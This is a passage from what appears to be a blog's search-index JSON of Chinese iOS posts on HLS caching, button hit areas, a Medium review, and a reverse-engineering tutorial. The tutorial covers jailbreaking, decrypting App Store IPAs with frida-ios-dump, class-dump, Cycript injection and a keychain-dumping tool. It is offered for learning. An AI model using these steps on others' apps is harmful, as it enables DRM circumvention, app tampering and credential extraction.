IOT 元件,更適合使用這個。參考資料 https://www.domoticz.cn/forum/viewtopic.php?t=52 https://or2.in/2017/07/02/Homekit-and-MiJia-with-pi/#3-%E5%8F%B7%E5%A4%96-%E5%BC%80%E5%90%AF%E5%8F%AF%E8%A7%86%E5%8C%96VNC===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iOS HLS Cache 實踐方法探究之旅", "url": "/posts/d796bf8e661e/", "categories": "ZRealm, Dev.", "tags": "hls, ios, ios-app-development, cache, reverse-proxy", "date": "2020-04-09 01:12:17 +0800", "snippet": "iOS HLS Cache 實踐方法探究之旅使用 AVPlayer 播放 m3u8 串流影音檔時如何做到邊播放邊 Cache 的功能photo by Mihis Alex[2023/03/12] Update 下篇「 AVPlayer 實踐本地 Cache 功能大全 」教您實現 AVPlayer Caching我將之前的實作開源了,有需求的朋友可直接使用。 客製化 Cache 策略,可以...", "content": "iOS HLS Cache 實踐方法探究之旅使用 AVPlayer 播放 m3u8 串流影音檔時如何做到邊播放邊 Cache 的功能photo by Mihis Alex[2023/03/12] Update 下篇「 AVPlayer 實踐本地 Cache 功能大全 」教您實現 AVPlayer Caching我將之前的實作開源了,有需求的朋友可直接使用。 客製化 Cache 策略,可以用 PINCache or 其他… 外部只需呼叫 make AVAsset 工廠,帶入 URL,則 AVAsset 就能支援 Caching 使用 Combine 實現 Data Flow 策略 寫了一些測試關於HTTP Live Streaming (簡稱HLS) 是蘋果提出基於HTTP的串流媒體網絡傳輸協議。以播放音樂來說,非串流情況下我們使用 mp3 作為音樂檔,這個檔案有多大就要花多久時間全部下載下來才能播放;而 HLS 就是把一個檔案分割成多個小檔案,讀到哪播到哪,所以拿到第一個分割區塊就能開始播放,不用整個都下載完!.m3u8 檔就是紀錄這些分割的 .ts 小檔案的碼率、播放順序、時間 還有整個音訊的資訊,另外也可以做加解密保護、低延遲直播…等等.m3u8 檔範例(aviciiwakemeup.m3u8):#EXTM3U#EXT-X-VERSION:3#EXT-X-ALLOW-CACHE:YES#EXT-X-TARGETDURATION:10#EXT-X-MEDIA-SEQUENCE:0#EXTINF:9.900411,aviciiwakemeup–00001.ts#EXTINF:9.900400,aviciiwakemeup–00002.ts#EXTINF:9.900411,aviciiwakemeup–00003.ts#EXTINF:9.900411,...#EXTINF:6.269389,aviciiwakemeup-00028.ts#EXT-X-ENDLIST*EXT-X-ALLOW-CACHE 已在 iOS≥ 8/Protocol Ver.7 deprecated ,有沒有這行都沒有用意義了。目標對於一個影音串流服務, Cache 非常之重要 ;因為每個音訊檔案小則 MB 大則幾 GB ,如果每次重播都要再從伺服器拉一次檔案,對 Server 的 Loading 來說非常吃力,而且流量都是 \\(\\) ,如果有個 Cache 層能為服務節省許多金錢,對使用者來說也不用浪費網路、浪費時間重新下載;是一個雙贏的機制 (但要記得設定上限/定時清除,避免把使用者的設備塞爆)。問題以往非串流時 mp3/mp4 沒什麼好處理的,就是在播放前先下載到設備上,下載完成才開始播放;反正不管怎樣都要載完才能播,那不如我們自己用 URLSession 下載完檔案後再餵 file:// 下載在本地的檔案路徑給 AVPlayer 做播放即可;或正規方式,使用 AVAssetResourceLoaderDelegate 在 Delegate 方法中對下載的資料進行 Cache 緩存。遇到串流想法其實也很直白,就是先讀 .m3u8 檔,然後在解析裡面的資訊,對每個 .ts 檔做 Cache 即可;但實作發現事情沒有這麼簡單,處理難度超乎我的想像,所以才會有此篇文章!播放部分我們一樣直接使用 iOS AVFoundation 的 AVPlayer,在操作上串流/非串流檔案沒有差異。Example:let url:URL = URL(string:\"https://zhgchg.li/aviciiwakemeup.m3u8\")var player: AVPlayer = AVPlayer(url: url)player.play()2021–01–05 更新:我們退而求其次退回去使用 mp3 檔,這樣就能直接使用 AVAssetResourceLoaderDelegate 進行實作,詳細實作可參考「 AVPlayer 邊播邊 Cache 實戰 」。實踐方案針對我們的目標能達成的幾個方案及實踐時遇到的問題。方案 1. AVAssetResourceLoaderDelegate ❌第一個想法就是,那我們就照 mp3/mp4 時的做法就好啦!一樣用 AVAssetResourceLoaderDelegate 在 Delegate 方法中緩存 .ts 檔案。不過很抱歉,此路不通,因為無法在 Delegate 中攔截到 .ts 檔案的下載請求資訊,可以在這則 問答 和 官方文件 上確切此事。AVAssetResourceLoaderDelegate 實作可參考「 AVPlayer 邊播邊 Cache 實戰 」。方案 2.1 URLProtocol 攔截請求 ❌URLProtocol 也是最近才學到的方法,所有基於 URL Loading System 的請求 (URLSession、Call API、下載圖片…) 都可以被我們攔截下來修改 Request、Response 然後再返回,一切就像沒發生一樣,偷偷來;關於 URLProtocol 可以參考 此篇文章 。應用此方法,我們打算攔截 AVFoundation AVPlayer 在要求 .m3u8 、 .ts 的請求時,攔截下來然後如果本地有 Cache 就直接返回 Cache Data,沒有則再真的再發 Request 出去;這樣也能達到我們的目標。一樣,很抱歉,此路也不通;因為 AVFoundation AVPlayer 的請求不是在 URL Loading System 上,我們無從攔截。*有一說是 模擬器上可以但實機上不行方案 2.2 暴力讓他能進 URLProtocol ❌根據 方案 2.1 腦洞大開的暴力法,如果我把請求網址換成一個自訂的 Scheme (EX: streetVoiceCache://),因 AVFoundation 無法處理這個請求,所以會丟出來,這樣我們的 URLProtocol 就能攔截到,做我們想做的事。let url:URL = URL(string:\"streetVoiceCache://zhgchg.li/aviciiwakemeup.m3u8?originSchme=https\")var player: AVPlayer = AVPlayer(url: url)player.play()URLProtocol 會攔截到 streetVoiceCache://zhgchg.li/aviciiwakemeup.m3u8?originSchme=https ,這時我們只要幫他還原成原來的網址,然後發個 URLSession 去要資料就能在這邊自己做 Cache;m3u8 中的 .ts 檔案請求一樣也會被 URLProtocol 攔截到,一樣我們能在這自己做 Cache。一切看似都那麼完美,但當我興高采烈的 Build-Run 完 APP 後,蘋果直接搧了我一巴掌:Error: 12881 “CoreMediaErrorDomain custom url not redirect”他不吃我給 .ts 檔案 Request 的 Response Data,我只能用 urlProtocol:wasRedirectedTo 這個方法 redirectTo 原始 Https 請求才能正常播放,即使我把 .ts 檔案下載到本地然後 redirectTo 那個 file:// 檔案;他也不接受,查 官方論壇 得到答案就是不能這樣做; .m3u8 只能是來源於 Http/Https (所以即使你把整個 .m3u8 還有所有分割檔 .ts 都放在本地,有無法使用 file:// 給 AVPlayer播放),另外 .ts 也不能使用 URLProtocol 自行給予 Data。fxxk…方案 2.2–2 同方案 2.2 但是搭配 方案 1 AVAssetResourceLoaderDelegate 來實現 ❌實作方式如方案 2.2 ,餵給 AVPlayer 自訂的 Scheme 讓他進 AVAssetResourceLoaderDelegate;然後我們在自己處理。同 2.2 結果:Error: 12881 “CoreMediaErrorDomain custom url not redirect”官方論壇 同樣的回答。可以拿來做解密處理(可以參考 此篇文章 或 此範例 )但還是無法實現 Cache 功能。方案 3. Reverse Proxy Server ⍻ (可行,但非完美)這個方法是在找如何處理 HLS Cache 時,最多人給的答案;就是在 APP 上起一個 HTTP Server 做 Reverse Proxy Server 服務。原理也很簡單,APP 上 On 一個 HTTP Server 假設是 8080 Port,網址就會是 http://127.0.0.1:8080/ ;然後我們可以對連進來的 Request 做處理,給出 Response。套用到我們的案例就是,把請求網址換成: http://127.0.0.1:8080/aviciiwakemeup.m3u8?origin=http://zhgchg.li/在 HTTP Server 的 Handler 上對 *.m3u8 攔截處理,這時有 Request 進來就會進到我們的 Handler 中,看我們想幹嘛就幹嘛,想 Response 什麼 Data 都是我們自己控制, .ts 檔同樣會進來;這邊就可以做我們想做的 Cache 機制。對 AVPlayer 來說就是個 http://.m3u8 的標準串流音訊檔,所以不會有任何問題。完整實作範例可參考:StyleShare/HLSCachingReverseProxyServer A simple local reverse proxy server for HLS segment cache - StyleShare/HLSCachingReverseProxyServer github.com因為我也是參考此範例做的,所以 Local HTTP Server 的部分我也是使用 GCDWebServer ,另外還有更新的 Telegraph 可以使用。( CocoaHttpServer 太久沒更新就不推薦用了)看起來不錯!但有個問題:我們的服務是音樂串流而非影音播放平台,音樂串流很多時候使用者都是在背景執行音樂切換的;這時候 Local HTTP Server 還會在??GCDWebServer 的說明是當進入背景時會自動斷線、回前景自動恢復,但可以透過設置參數 GCDWebServerOption_AutomaticallySuspendInBackground:false 不讓他有這個機制。但是實測如果一段時間沒有發送請求 Server 還是會斷線 (且狀態會是錯的,還是 isRunning) 感覺就是被系統砍了;深掘了 HTTP Server 的做法 後發現底層都是基於 socket,查了 官方對 socket 服務的文件 後,此缺陷是無法解決的,本來在背景下沒有新的連接時就會被系統暫停。*網路上有找到很繞的方法…就是發個長請求、或不斷發空的請求確保 Server 在背景不會被系統暫停掉。以上都是針對 APP 在背景的狀況,在前景時 Server 很穩,也不會因為閒置被暫停,沒這問題!是說畢竟是依賴在其他服務上,開發環境測試沒問題,實際應用也建議要接個 rollback 處理(AVPlayer.AVPlayerItemFailedToPlayToEndTimeErrorKey 通知);否則有個萬一服務掛掉,使用者會卡死。所以說不完美啊…方案 4. 使用 HTTP Client 本身的 caching 機制 ❌我們的 .m3u8/.ts 檔的 Response Headers 都有給予 Cache-Control 、 Age 、 eTag … 這些 HTTP Client Cache 資訊;我們的網站 Cache 機制在 Chrome 上使用也完全沒問題,另外也在官方新的針對 Protocol Extension for Low-Latency HLS (低延遲HLS) 初步規格文件中提到 Cache 的地方也看到可以設定 cache-control headers 來做緩存。但實際 AVFoundation AVPlayer 並沒有任何 HTTP Client Caching 效果,此路也不通!單純癡人說夢。方案 5. 不使用 AVFoundation AVPlayer 播放音訊檔 ✔自己實現音訊檔解析、緩存、編碼、播放功能。太硬核了,需要很深的技術能力及大量時間;沒研究。附上一個網路開源播放器做參考: FreeStreamer ,真要選擇此方案不如站在巨人的肩膀上,直接用第三方套件了。方案 5–1. 不使用 HLS同方案 5 , 太硬核了,需要很深的技術能力及大量時間;沒研究。方案 6. 將 .ts 分割檔轉成 .mp3/.mp4 檔案 ✔沒研究,但的確可行;不過想起來就覺得複雜,要處理已下載的 .ts 檔案,個別轉成 .mp3 或 .mp4 檔案然後照順序播放、或是壓縮成一個檔案什麼的,想起來就不太好做。有興趣可參考 此篇文章 。方案 7. 下載完整檔案後再播放 ⍻這個方法不能確切叫邊播邊 Cache,實際是載下整個音訊檔案的內容,然後才開始播放;如果是 .m3u8 如同方案 2.2 提到的,不能直接載下來放在本地播放。要實作的話要用到 iOS ≥ 10 的 API AVAssetDownloadTask.makeAssetDownloadTask ,實際會將 . m3u8 打包成 .movpkg 放在本地,供使用者播放。這邊比較像是做離線播放而非做 Cache 的功能。另外使用者也能從「設定」->「一般」->「iPhone 儲存空間」-> APP 中查看、管理已下載打包的音訊檔案。下方 已下載的影片 部分詳細實作可參考此範例:結語以上的探索路程大概花了快一整週,繞來繞去、快要喪心病狂了;目前還沒有一個可靠的、容易部署的方法。如果有新的想法再來更新!參考資料 iOS音频播放 (九):边播边缓存 StyleShare/HLSCachingReverseProxyServer有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iOS 逆向工程初體驗", "url": "/posts/7498e1ff93ce/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, hacking, jailbreak, security", "date": "2020-03-28 18:24:40 +0800", "snippet": "iOS 逆向工程初體驗從越獄、提取iPA檔敲殼到UI分析注入及反編譯的探索過程關於安全之前唯一做過跟安全有關的就只有 << 使用中間人攻擊嗅探傳輸資料 >> ;另外也接續這篇,假設我們在資料傳輸前編碼加密、接受時 APP 內解密,用以防止中間人嗅探;那還有可能被偷走資料嗎? 答案是肯定的!,就算沒真的試驗過;世界上沒有破不了的系統,只有時間成本的問題,當破解耗費的時...", "content": "iOS 逆向工程初體驗從越獄、提取iPA檔敲殼到UI分析注入及反編譯的探索過程關於安全之前唯一做過跟安全有關的就只有 << 使用中間人攻擊嗅探傳輸資料 >> ;另外也接續這篇,假設我們在資料傳輸前編碼加密、接受時 APP 內解密,用以防止中間人嗅探;那還有可能被偷走資料嗎? 答案是肯定的!,就算沒真的試驗過;世界上沒有破不了的系統,只有時間成本的問題,當破解耗費的時間精力大於破解成果,那就可以稱為是安全的!How?都做到這樣了,那還能怎麼破?就是本篇想記錄的議題 — 「逆向工程 」 ,敲開你的 APP 研究你是怎麼做加解密的;其實一直以來對這個領域都是懵懵懂懂,只在 iPlayground 2019 上聽過兩堂大大的分享,大概知道原理還有怎麼實現,最近剛好有機會玩了一下跟大家分享!逆了向,能幹嘛? 查看 APP UI 排版方式、結構 獲取 APP 資源目錄 .assets/.plist/icon… 竄改 APP 功能重新打包 (EX: 去廣告) 反編譯推測原始程式碼內容取得商業邏輯資訊 dump 出 .h 標頭檔 / keycahin 內容實現環境macOS 版本: 10.15.3 CatalinaiOS 版本: iPhone 6 (iOS 12.4.4 / 已越獄) *必要 Cydia: Open SSH越獄的部分任何版本的 iOS、iPhone 都可以,只要是能越獄的設備,建議使用舊的手機或是開發機,以避免不必要的風險;可根據自己的手機、iOS 版本參考 瘋先生越獄教學 ,必要時需要將 iOS 降版 ( 認證狀態查詢 )再越獄。我是拿之前的舊手機 iPhone 6 來測試,原本已經升到 iOS 12.4.5 了,但發現 12.4.5 一直越獄不成功,所幸先降回 12.4.4 然後使用 checkra1n 越獄就成功了!步驟不多,也不難;只是需要時間等待!附上一個自己犯蠢的經驗: 下載完舊版 IPSW 檔案後,手機接上 Mac ,直接使用 Finder 檔案瀏覽器(macOS 10.5 後就沒有 iTunes 了),在左方 Locations 選擇手機,出現手機資訊畫面後, 「Option」按著然後再點「Restore iPhone」 就能跳出 IPSW 檔案選擇視窗,選擇剛下載下來的舊版 IPSW 檔案就能完成刷機降版。 我本來傻傻的直接按 Restore iPhone…只會浪費時間重刷一次最新版而已….使用 lookin 工具查看別人的 APP UI 排版我們先來點有趣的前菜,使用工具搭配越獄手機查看別人APP 是怎麼排版。查看工具: 一是 老牌 Reveal (功能更完整,需付費約 $60 美金/可試用),二是騰訊 QMUI Team 製作的 lookin 免費開源工具;這邊使用 lookin 作為示範,Reveal 大同小異。 若沒有越獄手機也沒關係,此工具主要是讓你用在開發中的專案上,查看 Debug 排版(取代 Xcode 陽春的 inspector) 平常開發也能用到 ! 唯有要看別人的 APP 需要使用越獄手機。如果要看自己的專案…可以選擇使用 CocoaPods 安裝、 斷點插入 (僅支援模擬器)、 手動導入Framework 到專案 、 手動設置 ,四種方法。將專案 Build + Run 起來之後,就能 在 Lookin 工具上選擇 APP 畫面 -> 查看排版結構 。如果要看別人的APP…Step 1. 在越獄手機上打開「 Cydia 」-> 搜尋「 LookinLoader 」->「 安裝 」-> 回到手機「 設定 」->「 Lookin 」->「 Enabled Applications 」-> 啟用想要查看的 APP 。Step 2. 使用傳輸線 將手機連接至 Mac 電腦 -> 打開想要查看的APP -> 回到電腦, 在 Lookin 工具上選擇 APP 畫面 -> 即可 查看排版結構 。Lookin 查看排版結構Facebook 登入畫面排版結構可在左側欄檢視 View Hierarchy、右側欄對選中的物件進行動態修改。原本的「建立新帳號」被我改成「哈哈哈」對物件的修改也會實時的顯示在手機 APP 上,如上圖。就如同網頁的「F12」開發者工具,所有的修改僅對 View 有效,不會影響實際的資料;主要是拿來 Debug ,當然也可以用來改值、截圖,然後騙朋友 XD使用 Reveal 工具查看 APP UI 排版結構雖然 Reveal 需要付費才能使用,但個人還是比較喜歡 Reveal;在結構顯示上資訊更詳細、右方資訊欄位幾乎等同於 XCode 開發環境,想做什麼即時調整都可以,另外也會提示 Constraint Error 對於 UI 排版修正非常有幫助!這兩個工具在日常開發自己的 APP 上都非常有幫助! 了解完流程環境及有趣的部分之後,就讓我們進入正題吧! *以下開始都需要越獄手機配合提取 APP .ipa 檔案 & 砸殼所有從 App Store 安裝的 APP,其中的 .ipa 檔案都有 FairPlay DRM 保護 ,俗稱加殼保護/相反的去掉保護就叫「砸殼」,所以單純從 App Stroe 提取 .ipa 是沒有意義的,也用不了。*另一個工具 APP Configurator 2 只能提取有保護的檔案,沒意義就不再贅述,有興趣使用此工具的朋友可以 點此 查看教學。使用工具+越獄手機提取砸殼之後的原始 .ipa 檔案:關於工具部分起初我使用的是 Clutch ,但怎麼嘗試都出現 FAILED 查了下專案 issue,發現有很多人有同樣狀況,貌似此工具已經不能在 iOS ≥ 12 使用了、另外還有一個老牌工具 dumpdecrypted ,但我沒有研究。這邊使用 frida-ios-dump 這個 Python 工具進行動態砸殼,使用起來非常方便!首先我們先準備 Mac 上的環境: Mac 本身自帶 Python 2.7 版本,此工具支援 Python 2.X/3.X,所以不用在特別安裝 Python;但我是使用 Python 3.X 進行操作的,如果有遇到 Python 2.X 的問題,不妨嘗試 安裝使用 Python 3 吧! 安裝 pip ( Python 的套件源管理器) 使用 pip 安裝 frida :sudo pip install frida -upgrade -ignore-installed six (python 2.X)sudo pip3 install frida -upgrade -ignore-installed six (python 3.X) 在 Terminal 輸入 frida-ps 如果沒錯誤訊息代表安裝成功! Clone AloneMonkey/frida-ios-dump 這個專案 進入專案,用文字編輯器打開 dump.py 檔案 確認 SSH 連線設定部分是否正確 (預設不用特別動)User = ‘root’Password = ‘alpine’Host = ‘localhost’Port = 2222越獄手機上的環境: 安裝 Open SSH :Cydia → 搜尋 → Open SSH →安裝 安裝 Frida 源:Cydia → 來源 → 右上角「編輯」 → 左上角「加入」 → https://build.frida.re 安裝 Frida:Cydia → 搜尋 → Frida → 依照手機處理器版本安裝對應的工具(EX: 我是 iPhone 6 A11,所以是裝 Frida for pre-A12 devices 這個工具)環境都弄好之後,開工:1.將手機使用 USB 連接到電腦2.在 Mac 上打開一個 Terminal 輸入 iproxy 2222 22 ,啟動 Server。3.確保手機/電腦處於相同網路環境中(EX: 連同個WiFi)4.再打開一個 Terminal 輸入 ssh root@127.0.0.1,輸入 SSH 密碼(預設是 alpine )5.再打開一個 Terminal 進行敲殼命令操作,cd 到 clone 下來的 /frida-ios-dump 目錄下。輸入 dump.py -l 列出手機中已安裝/正在執行的 APP。6. 找到要敲殼導出的 APP 名稱 / Bundle ID,輸入:dump.py APP名稱或BundleID -o 輸出結果的路徑/輸出檔名.ipa這邊務必指定 輸出結果的路徑/檔名 ,因為預設輸出路徑會在 /opt/dump/frida-ios-dump/ 這邊不想把它搬到 /opt/dump 中,所以要指定輸出路徑避免權限錯誤。7. 輸出成功後就能取得已敲殼的 .ipa 檔案! 手機必須在解鎖情況下才能使用工具 若出現連線錯誤、reset by peer…等原因,可嘗試拔掉重插 USB 連接、重開 iproxy。7.將 .ipa 檔直接重新命名成 .zip 檔,然後直接右鍵解壓縮檔會出現 /Payload/APP名稱.app有了原始 APP 檔後我們可以…1. 提取 APP 的資源目錄在 APP名稱.app 右鍵 → 「Show Package Contents」就能看到 APP 的資源目錄2. class-dump 出 APP .h頭文件訊息使用 class-dump 工具導出全 APP (包含 Framework) .h 頭文件訊息 (僅限 Objective-C,若專案為 Swift 則無效)nygard/class-dump 大大的工具我嘗試失敗,一直 failed;最後還是一樣使用 AloneMonkey / MonkeyDev 大大的工具集中改寫過的 class-dump 工具才成功。 直接從這裡 Download MonkeyDev/bin/class-dump 工具 打開 Terminal 直接使用:./class-dump -H APP路徑/APP名稱.app -o 匯出的目標路徑dump 成功之後就能獲取到整個 APP 的 .h 資訊。4. 最後也是最困難的 — 進行反編譯可以使用 IDA 和 Hopper 反編譯工具進行分析使用,兩款都是收費工具, Hopper 可免費試用(每次 30 分鐘)我們將取得的 APP名稱.app 檔案直接拉到 Hopper 即可開始進行分析。不過我也就止步於此了,因為從這開始就要研究機器碼、搭配 class-dump 結果推測方法…等等;需要非常深入的功力才行!突破反編譯後,可以自行竄改運作重新打包成新的 APP。圖片取自航海王逆向工程的其他工具1. 使用 MITM Proxy 免費工具嗅探 API 網路請求資訊 >>APP有用HTTPS傳輸,但資料還是被偷了。2.Cycript (搭配越獄手機) 動態分析/注入工具: 在越獄手機上打開「Cydia」-> 搜尋「Cycript」->「安裝」 在電腦打開一個 Terminal 使用 Open SSH 連線至手機, ssh root@手機IP (預設是 alpine ) 打開目標 APP (APP 保持在前景) 在 Terminal 輸入 ps -e | grep APP Bundle ID 查找正在運行的 APP Process ID 使用 cycript -p Process ID 注入工具到正在運行的 APP可使用 Objective-c/Javascript 進行調試控制。For Example:cy# alert = [[UIAlertView alloc] initWithTitle:@\"HIHI\" message:@\"ZhgChg.li\" delegate:nil cancelButtonTitle:@\"Cancel\" otherButtonTitles:nl]cy# [alert show]注入一個 UIAlertViewController… chose( ) : 獲取目標 UIApp.keyWindow.recursiveDescription( ) .toString( ) : 顯示 view hierarchy 結構資訊 new Instance(記憶體位置): 獲取物件 exit(0) : 結束詳細操作可參考 此篇文章 。3. Lookin / Reveal 查看 UI 排版工具前面介紹過,再推一次;在自己的專案日常開發上也非常好用,建議購買使用 Reveal。4. MonkeyDev 集成工具 ,可透過動態注入竄改 APP 並重新打包成新的 APP5. ptoomey3 / Keychain-Dumper ,導出 KeyChain 內容詳細操作請參考 此篇文章 ,不過我沒試成功,看專案 issue 貌似也是在 iOS ≥ 12 之後就失效了。總結這個領域是個超級大坑,需要非常多的技術知識基礎才有可能精通;本篇文章只是粗淺了「體驗」了一下逆向工程是什麼感覺,如有不足敬請見諒! 僅供學術研究,勿做壞壞的事 ;個人覺得整個流程工具玩下來蠻有趣的,也對 APP 安全更有點概念!有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iOS 擴大按鈕點擊範圍", "url": "/posts/a8c2d7ed144b/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, swift, 顧小事成大事, uikit, ios", "date": "2020-02-01 21:45:49 +0800", "snippet": "iOS 擴大按鈕點擊範圍重寫 pointInside 擴大感應區域日常開發上經常遇到版面照著設計 UI 排好之後,畫面美美的,但是實際操作上按鈕的感應範圍太小,不容易準確點擊;尤其對手指粗的人極不友善。完成範例圖Before…關於這個問題當初沒特別深入研究,直接暴力蓋一個範圍更大的透明 UIButton 在原按鈕上,並使用這個透明的按鈕響應事件,做起來非常麻煩、元件一多也不好控制。後來改用排...", "content": "iOS 擴大按鈕點擊範圍重寫 pointInside 擴大感應區域日常開發上經常遇到版面照著設計 UI 排好之後,畫面美美的,但是實際操作上按鈕的感應範圍太小,不容易準確點擊;尤其對手指粗的人極不友善。完成範例圖Before…關於這個問題當初沒特別深入研究,直接暴力蓋一個範圍更大的透明 UIButton 在原按鈕上,並使用這個透明的按鈕響應事件,做起來非常麻煩、元件一多也不好控制。後來改用排版的方式解決,按鈕在排版時設定上下左右都對齊0 (或更低),再控制 imageEdgeInsets 、 titleEdgeInsets 、 contentEdgeInsets 這三個內距參數,將 Icon/按鈕標題 推到 UI 設計的正確位置;但這個做法比較適合使用 Storyboard/xib 的專案,因為可以直接在 Interface Builder 去推排版;另外一個是設計出的 Icon 最好要是沒有劉間距的,不然會不好對位置,有時候可能就卡在那個 0.5 的距離,怎麼調都不對齊。After…正所謂見多識廣,最近接觸到新專案之後又學到了一小招;就是可以在 UIButton 的 pointInside 中加大事件響應範圍,預設是 UIButton 的 Bounds,我們可以在裡面延伸 Bounds 的大小使按鈕的可點擊區域更大!經過以上思路…我們可以:class MyButton: UIButton { var touchEdgeInsets:UIEdgeInsets? override open func point(inside point: CGPoint, with event: UIEvent?) -> Bool { var frame = self.bounds if let touchEdgeInsets = self.touchEdgeInsets { frame = frame.inset(by: touchEdgeInsets) } return frame.contains(point); }}自訂一個 UIButton ,增加 touchEdgeInsets 這個 public property 存放要擴張的範圍 方便我們使用;接著複寫 pointInside 方法,實作上述的想法。使用:import UIKitclass MusicViewController: UIViewController { @IBOutlet weak var playerButton: MyButton! override func viewDidLoad() { super.viewDidLoad() playerButton.touchEdgeInsets = UIEdgeInsets(top: -10, left: -10, bottom: -10, right: -10) } }播放按鈕/藍色為原始點擊區域/紅色為擴大後的點擊範圍使用時只需記得要將 Button 的 Class 指定為我們自訂的 MyButton,然後就能透過設定 touchEdgeInsets 針對個別 Button 擴大點擊範圍! ️⚠️⚠️⚠️⚠️️️️⚠️️️️ 使用 Storyboard/xib 時記得設 Custom Class 為 MyButton ⚠️⚠️⚠️⚠️⚠️ touchEdgeInsets 以(0,0)自身為中心向外,所以上下左右的距離要用 負數 來延伸。看起來不錯…但是:對於每個 UIButton 都要置換成自訂的 MyButton 其實挺繁瑣的也增加程式的複雜性、甚至在大型專案中可能會有衝突。對於這種我們認為應該所有 UIButton 天生都應該要具有的功能,如果可以,我們希望能直接 Extension 擴充原本的 UIButton :private var buttonTouchEdgeInsets: UIEdgeInsets?extension UIButton { var touchEdgeInsets:UIEdgeInsets? { get { return objc_getAssociatedObject(self, &buttonTouchEdgeInsets) as? UIEdgeInsets } set { objc_setAssociatedObject(self, &buttonTouchEdgeInsets, newValue, .OBJC_ASSOCIATION_RETAIN_NONATOMIC) } } override open func point(inside point: CGPoint, with event: UIEvent?) -> Bool { var frame = self.bounds if let touchEdgeInsets = self.touchEdgeInsets { frame = frame.inset(by: touchEdgeInsets) } return frame.contains(point); }}使用上如前述使用範例。因 Extension 不能包含 Property 否則會報編譯錯誤「Extensions must not contain stored properties」,這邊參考了 使用 Property 配合 Associated Object 將外部變數 buttonTouchEdgeInsets 關聯到我們的 Extension 上,就能如 Property 日常使用。(詳細原理請參考 貓大的文章 )UIImageView (UITapGestureRecognizer) 呢?針對圖片點擊、我們自己在 View 上加的 Tap 手勢;ㄧ樣能透過複寫 UIImageView 的 pointInside 達到同樣的效果。 完成!經過不斷的改進,在解決這個議題上更簡潔方便了不少!參考資料:UIView 改变触摸范围 (Objective-C)附記去年同一時間想開個小分類「 顧小事成大事 」紀錄一下日常開發瑣碎的小事,但這些小事默默累積又能成大事增加整個 APP 的不管是體驗或是程式方面;結果 拖了一年 才又增加了一篇文章 <( _ _ )>,小事真的很容易忘了記錄啊!有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Medium 經營一年回顧", "url": "/posts/d01252331b53/", "categories": "ZRealm, Life.", "tags": "medium, ios, life, writing-life, medium-taiwan", "date": "2020-01-12 23:49:30 +0800", "snippet": "Medium 經營一年回顧Medium 經營一年回顧的哩哩扣扣或是說 2019 年總結轉眼之間在 Medium 發表文章已經過了一年,實際上週年慶應該是 2019/10 (2018/10 第一篇);但那時太忙了沒有靈感;眼看時間又向前邁入 2020 ,趕緊把經營一年的心得記錄一下、也當作是 2019 年總結吧!回顧在此先感謝 Enther Wu 及 Chih-Hung Yeh 的推坑,重新燃...", "content": "Medium 經營一年回顧Medium 經營一年回顧的哩哩扣扣或是說 2019 年總結轉眼之間在 Medium 發表文章已經過了一年,實際上週年慶應該是 2019/10 (2018/10 第一篇);但那時太忙了沒有靈感;眼看時間又向前邁入 2020 ,趕緊把經營一年的心得記錄一下、也當作是 2019 年總結吧!回顧在此先感謝 Enther Wu 及 Chih-Hung Yeh 的推坑,重新燃起我的寫文魂;起初的文章比較像自己的日常或工作的心得筆記,內容較為空洞;不過依然很不要臉的貼到社群分享,現在回去看一開始的文章覺得有點糗,不知道在寫啥,內容含金量不高。不過一切都是成長的過程,越寫越有手感,在記錄的過程中研究的範疇越來越廣;因為怕誤人子弟、怕有遺漏的地方、怕是自己誤會;在這些壓力下,寫文章不只是記錄了,而是自己對某個問題的深入探索,更多的反而是自己的收穫成長;相對地與大家分享的內容質量也提高了不少。社群的大家真的很佛心,起初發文其實很怕被大家噴然後失去自信;但沒有,大家給的反饋都很正面,即使文章內容並不一定有幫助,也因為這股正面的鼓勵讓我在創作上更有信心,投入更多時間做紀錄;感謝大家的鼓勵!Medium 在寫作的體驗上真的很好,如果你也是程式開發者可以裝 Code Medium 這個 Chrome Extension,可以直接在 Medium 之中使用 Gist 貼上漂亮的程式碼!Publication & Logo寫了生活又寫了技術,為了做區隔所幸建立了兩個 Publication 頻道: ZRealm Life. 分享生活、開箱 / ZRealm Dev. 分享工作、技術方面文章 ,讓大家可以依照自己想看的內容去追蹤。一個非常 ”西花“ 的東西 — 「LOGO」 ,生活要有儀式感?既然說是經營,那應該要有自己的品牌識別?於是我請了設計大大幫我把我的 Logo 構想製作出來;我的設計構想:外框五角形是致敬母校 台科大的校徽 ,五角代表板手代表技術工藝、內框 “ ZR ” 其實也沒變的意思就是我的英譯中文姓名 ZhongCheng 的首字 “ Z” 還有 Realm 我的地盤的 ”R” 。收穫要說收穫,先說寫文的初衷 — 「 教學相長 」,不是為了展示什麼、更不是為了賺錢;所有文章我都沒加入付費牆,知識不應該是要付費才能看的,知識本是力量; 如果喜歡可以多多支持 Medium 付費會員 ,這樣才能讓我們有較長遠的平台可以使用…(實在很怕它不堪虧損)要說收穫的話,除了金錢利益沒有,其他都有滿滿的收穫;第一是 成就感 ,文章有人看、有迴響就會很有成就感,更有動力繼續寫文;再來是認識了許多朋友產生更多的交流;我是屬於被動社交的人,在寫文章之前其實對社群是非常陌生的,幾乎沒有交流,現在認識許多朋友,覺得 在開發的路上並不孤單了!(如同我 Publication 的副標題 — 「解決問題的道路上你並不孤單」) 。統計既然說是回顧,那不免俗要統計一下數據。2019年(含2018年末)一共發表了:25 篇文章: 2 篇生活 + 5 篇開箱 + 18 篇技術文章累積約 60,000 次流量、 5,000 個拍手、突破 200 位追蹤者!表現比較好的文章有: iOS Deferred Deep Link 延遲深度連結實作(Swift) AirPods 2 開箱及上手體驗心得 如何打造一場有趣的工程CTF競賽 APP有用HTTPS傳輸,但資料還是被偷了。 Apple Watch Series 4 從入手到上手全方位心得 感謝大家的支持與愛護,今年也會繼續加油的! 你的追蹤與回饋就是我寫作的原動力!ZhgChgLi, 2020/01/11.有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "米家 APP / 小愛音箱地區問題", "url": "/posts/94a4020edb82/", "categories": "ZRealm, Life.", "tags": "生活, 開箱, 小米空氣清淨機, ios, 